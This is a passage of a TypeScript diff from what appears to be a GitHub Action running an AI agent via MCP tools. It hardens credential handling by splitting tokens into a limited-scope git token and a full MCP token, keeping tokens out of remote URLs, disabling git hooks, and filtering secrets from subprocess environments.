return secretsToCheck.some((secret) => secret && content.includes(secret));
}
+35 -44
View File
@@ -2,12 +2,12 @@ import { execSync } from "node:child_process";
import { mkdtempSync } from "node:fs";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type { BashPermission, PayloadEvent } from "../external.ts";
import type { PayloadEvent } from "../external.ts";
import { checkoutPrBranch } from "../mcp/checkout.ts";
import type { ToolState } from "../mcp/server.ts";
import { log } from "./cli.ts";
import { isInsideDocker } from "./globals.ts";
import type { OctokitWithPlugins } from "./github.ts";
import { isInsideDocker } from "./globals.ts";
import { $ } from "./shell.ts";
export interface SetupOptions {
@@ -46,26 +46,24 @@ export function setupTestRepo(options: SetupOptions): void {
}
interface SetupGitParams {
token: string;
githubJobToken: string | undefined;
bashPermission: BashPermission;
gitToken: string;
owner: string;
name: string;
event: PayloadEvent;
octokit: OctokitWithPlugins;
toolState: ToolState;
// restricted bash mode: disables git hooks to prevent token exfiltration
restricted: boolean;
}
/**
* Setup git configuration and authentication for the repository.
* - Configures git identity (user.email, user.name)
* - Sets up authentication via token
* - For PR events, checks out the PR branch using shared helper
* setup git configuration and authentication for the repository.
* - configures git identity (user.email, user.name)
* - sets up authentication via gitToken (minimal contents:write)
* - for PR events, checks out the PR branch using shared helper
*
* FORK PR ARCHITECTURE:
* - origin: always points to BASE REPO (where PR targets)
* - checkoutPrBranch sets per-branch pushRemote config for fork PRs
* - checkout_pr returns the PR diff via GitHub API (authoritative source)
* gitToken is a minimal-permission token (contents:write only) used for git operations.
* it is assumed to be potentially exfiltratable, so it has limited scope.
*/
export async function setupGit(params: SetupGitParams): Promise<void> {
const repoDir = process.cwd();
@@ -102,14 +100,13 @@ export async function setupGit(params: SetupGitParams): Promise<void> {
log.debug(`» git user already configured (${currentEmail}), skipping`);
}
// disable credential helper to prevent macOS keychain prompts when using x-access-token
// only needed locally - GitHub Actions doesn't have this issue
if (!process.env.GITHUB_ACTIONS) {
execSync('git config --local credential.helper ""', {
cwd: repoDir,
stdio: "pipe",
});
}
// disable git hooks for predictability - prevents pre-commit hooks
// from blocking commits or causing unexpected side effects
execSync("git config --local core.hooksPath /dev/null", {
cwd: repoDir,
stdio: "pipe",
});
log.debug("» git hooks disabled");
} catch (error) {
// If git config fails, log warning but don't fail the action
// This can happen if we're not in a git repo or git isn't available
@@ -132,41 +129,35 @@ export async function setupGit(params: SetupGitParams): Promise<void> {
log.debug("» no existing authentication headers to remove");
}
// choose token for origin based on bash permission:
// - enabled: installation token (full access)
// - restricted/disabled: workflow token (limited by permissions block)
// this protects the base repo while allowing fork PR edits via fork remote
const originToken =
params.bashPermission === "enabled"
? params.token
: // in GitHub Actions environment this less-capable job token should always be available in the action's input
// but in other environments there is no secondary token like this so we just use the installation token itself
params.githubJobToken || params.token;
// SECURITY: set origin URL without token - auth is injected via GIT_CONFIG_PARAMETERS
// in $git() calls. this prevents token leakage to git hooks and subprocesses.
const originUrl = `https://github.com/${params.owner}/${params.name}.git`;
$("git", ["remote", "set-url", "origin", originUrl], { cwd: repoDir });
// non-PR events: set up origin with token, stay on default branch
// initialize pushUrl to base repo - may be updated by checkout_pr for fork PRs
params.toolState.pushUrl = originUrl;
// disable credential helpers to prevent prompts and ensure clean auth state
$("git", ["config", "--local", "credential.helper", ""], { cwd: repoDir });
// non-PR events: stay on default branch
if (params.event.is_pr !== true || !params.event.issue_number) {
const originUrl = `https://x-access-token:${originToken}@github.com/${params.owner}/${params.name}.git`;
$("git", ["remote", "set-url", "origin", originUrl], { cwd: repoDir });
log.info("» updated origin URL with authentication token");
log.info("» git authentication configured");
return;
}
// PR event: checkout PR branch using shared helper
const prNumber = params.event.issue_number;
// ensure origin is configured with auth token before checkout
const originUrl = `https://x-access-token:${originToken}@github.com/${params.owner}/${params.name}.git`;
$("git", ["remote", "set-url", "origin", originUrl], { cwd: repoDir });
// use shared checkout helper (handles fork remotes, push config, etc.)
const prContext = await checkoutPrBranch({
// this updates toolState.pushUrl for fork PRs and sets toolState.issueNumber
await checkoutPrBranch({
octokit: params.octokit,
owner: params.owner,
name: params.name,
token: params.token,
gitToken: params.gitToken,
pullNumber: prNumber,
toolState: params.toolState,
restricted: params.restricted,
});
// set prNumber on toolState (the only mutation)
params.toolState.prNumber = prContext.prNumber;
}
+12 -2
View File
@@ -1,4 +1,5 @@
import { spawnSync } from "node:child_process";
import { type EnvMode, resolveEnv } from "./secrets.ts";
interface ShellOptions {
cwd?: string;
@@ -14,7 +15,11 @@ interface ShellOptions {
| "ucs2"
| "utf16le";
log?: boolean;
env?: Record<string, string>;
/**
* env mode: "restricted" (default) filters secrets, "inherit" passes full env,
* or provide a custom env object (merged with restricted base)
*/
env?: EnvMode;
onError?: (result: { status: number; stdout: string; stderr: string }) => void;
}
@@ -22,6 +27,10 @@ interface ShellOptions {
* Execute a shell command safely using spawnSync with argument arrays.
* Prevents shell injection by avoiding string interpolation in shell commands.
*
* SECURITY: by default, env vars are filtered to remove secrets (tokens, keys, passwords).
* this prevents malicious code (git hooks, npm scripts, etc.) from exfiltrating credentials.
* use env: "inherit" only when absolutely necessary.
*
* @param cmd - The command to execute
* @param args - Array of arguments to pass to the command
* @param options - Optional configuration (cwd, encoding, onError)
@@ -30,6 +39,7 @@ interface ShellOptions {
*/
export function $(cmd: string, args: string[], options?: ShellOptions): string {
const encoding = options?.encoding ?? "utf-8";
const env = resolveEnv(options?.env);
// CRITICAL: use "ignore" for stdin instead of "inherit" to avoid breaking MCP transport
// when running inside an MCP server, stdin is used for JSON-RPC protocol
@@ -37,7 +47,7 @@ export function $(cmd: string, args: string[], options?: ShellOptions): string {
stdio: ["ignore", "pipe", "pipe"],
encoding,
cwd: options?.cwd,
env: options?.env ? { ...process.env, ...options.env } : undefined,
env,
});
const stdout = result.stdout ?? "";
+103 -32
View File
@@ -1,5 +1,6 @@
import assert from "node:assert/strict";
import * as core from "@actions/core";
import type { PushPermission } from "../external.ts";
import { log } from "./cli.ts";
import { acquireNewToken } from "./github.ts";
import { isGitHubActions } from "./globals.ts";
@@ -8,8 +9,8 @@ import { isGitHubActions } from "./globals.ts";
export { acquireNewToken as acquireInstallationToken };
export { revokeGitHubInstallationToken as revokeInstallationToken };
// store token in memory instead of process.env
let githubInstallationToken: string | undefined;
// store MCP token in memory for getGitHubInstallationToken()
let mcpTokenValue: string | undefined;
function setEnvironmentVariable(name: string, value: string | undefined) {
const hadValue = Object.hasOwn(process.env, name);
@@ -31,49 +32,119 @@ function setEnvironmentVariable(name: string, value: string | undefined) {
}
/**
* Setup GitHub installation token for the action
* get the job-scoped token from action input.
* this token has permissions defined by the workflow's permissions block.
*
* fallback order:
* 1. INPUT_TOKEN (from workflow `with: token:`)
* 2. GH_TOKEN (external token override)
* 3. GITHUB_TOKEN (pre-acquired in tests or from GHA env)
*/
export async function resolveInstallationToken() {
assert(!githubInstallationToken, "GitHub installation token is already set.");
const githubJobToken = core.getInput("token");
const externalToken = process.env.GH_TOKEN;
const token = externalToken || (await acquireNewToken());
const revertGithubToken = setEnvironmentVariable("GITHUB_TOKEN", token);
githubInstallationToken = token;
if (isGitHubActions) {
// out of caution, we don't call this here outside of the GitHub Actions environment
// given this uses `process.stdout.write(cmd.toString() + os.EOL)` under the hood,
core.setSecret(token);
export function getJobToken(): string {
const inputToken = core.getInput("token");
if (inputToken) {
return inputToken;
}
// fallback for test environment and local dev
const fallbackToken = process.env.GH_TOKEN || process.env.GITHUB_TOKEN;
if (fallbackToken) {
return fallbackToken;
}
throw new Error("token input is required");
}
export type TokenRef = {
gitToken: string;
mcpToken: string;
[Symbol.asyncDispose]: () => Promise<void>;
};
type ResolveTokensParams = {
push: PushPermission;
};
/**
* resolve tokens for the action run.
*
* creates two separate tokens:
* - gitToken: contents permission based on `push` setting (assumed exfiltratable)
* - push: enabled → contents:write (can push)
* - push: disabled → contents:read (read-only)
* - mcpToken: full installation token - used for GitHub API calls in MCP tools (not exfiltratable)
*
* security-conscious users can pass their own token via GH_TOKEN env var or inputs.token.
*/
export async function resolveTokens(params: ResolveTokensParams): Promise<TokenRef> {
assert(!mcpTokenValue, "tokens are already resolved");
const externalToken = process.env.GH_TOKEN;
// external token takes precedence - use for both git and MCP
if (externalToken) {
const revertGithubToken = setEnvironmentVariable("GITHUB_TOKEN", externalToken);
mcpTokenValue = externalToken;
if (isGitHubActions) {
core.setSecret(externalToken);
}
log.info("» using external GH_TOKEN for both git and MCP");
return {
gitToken: externalToken,
mcpToken: externalToken,
async [Symbol.asyncDispose]() {
mcpTokenValue = undefined;
revertGithubToken();
// GH_TOKEN isn't acquired here, so it's not revoked here either
},
};
}
// create git token based on push permission (assumed exfiltratable)
// disabled = read-only, restricted/enabled = write (MCP tools enforce branch restrictions)
const gitContents = params.push === "disabled" ? "read" : "write";
const gitToken = await acquireNewToken({ permissions: { contents: gitContents } });
if (isGitHubActions) {
core.setSecret(gitToken);
}
log.info(`» acquired git token (contents:${gitContents})`);
// create full MCP token - not exfiltratable (only accessible via MCP tools)
const mcpToken = await acquireNewToken();
if (isGitHubActions) {
core.setSecret(mcpToken);
}
log.info("» acquired full MCP token");
// set MCP token as GITHUB_TOKEN for compatibility
const revertGithubToken = setEnvironmentVariable("GITHUB_TOKEN", mcpToken);
mcpTokenValue = mcpToken;
return {
token,
// in GitHub Actions environment this fallback token should always come from the action's input
// but in other environments there is no secondary token like this so we just use the installation token itself
githubJobToken,
gitToken,
mcpToken,
async [Symbol.asyncDispose]() {
githubInstallationToken = undefined;
mcpTokenValue = undefined;
revertGithubToken();
// GH_TOKEN isn't acquired here, so it's not revoked here either
if (externalToken) {
return;
}
return revokeGitHubInstallationToken(token);
// revoke both tokens
await Promise.all([
revokeGitHubInstallationToken(gitToken),
revokeGitHubInstallationToken(mcpToken),
]);
},
};
}
/**
* Get the GitHub installation token from memory
* get the MCP token from memory.
* this is the token used for GitHub API calls in MCP tools.
*/
export function getGitHubInstallationToken(): string {
assert(
githubInstallationToken,
"GitHub installation token not set. Call resolveInstallationToken first."
);
return githubInstallationToken;
assert(mcpTokenValue, "tokens not set. call resolveTokens first.");
return mcpTokenValue;
}
export async function revokeGitHubInstallationToken(token: string): Promise<void> {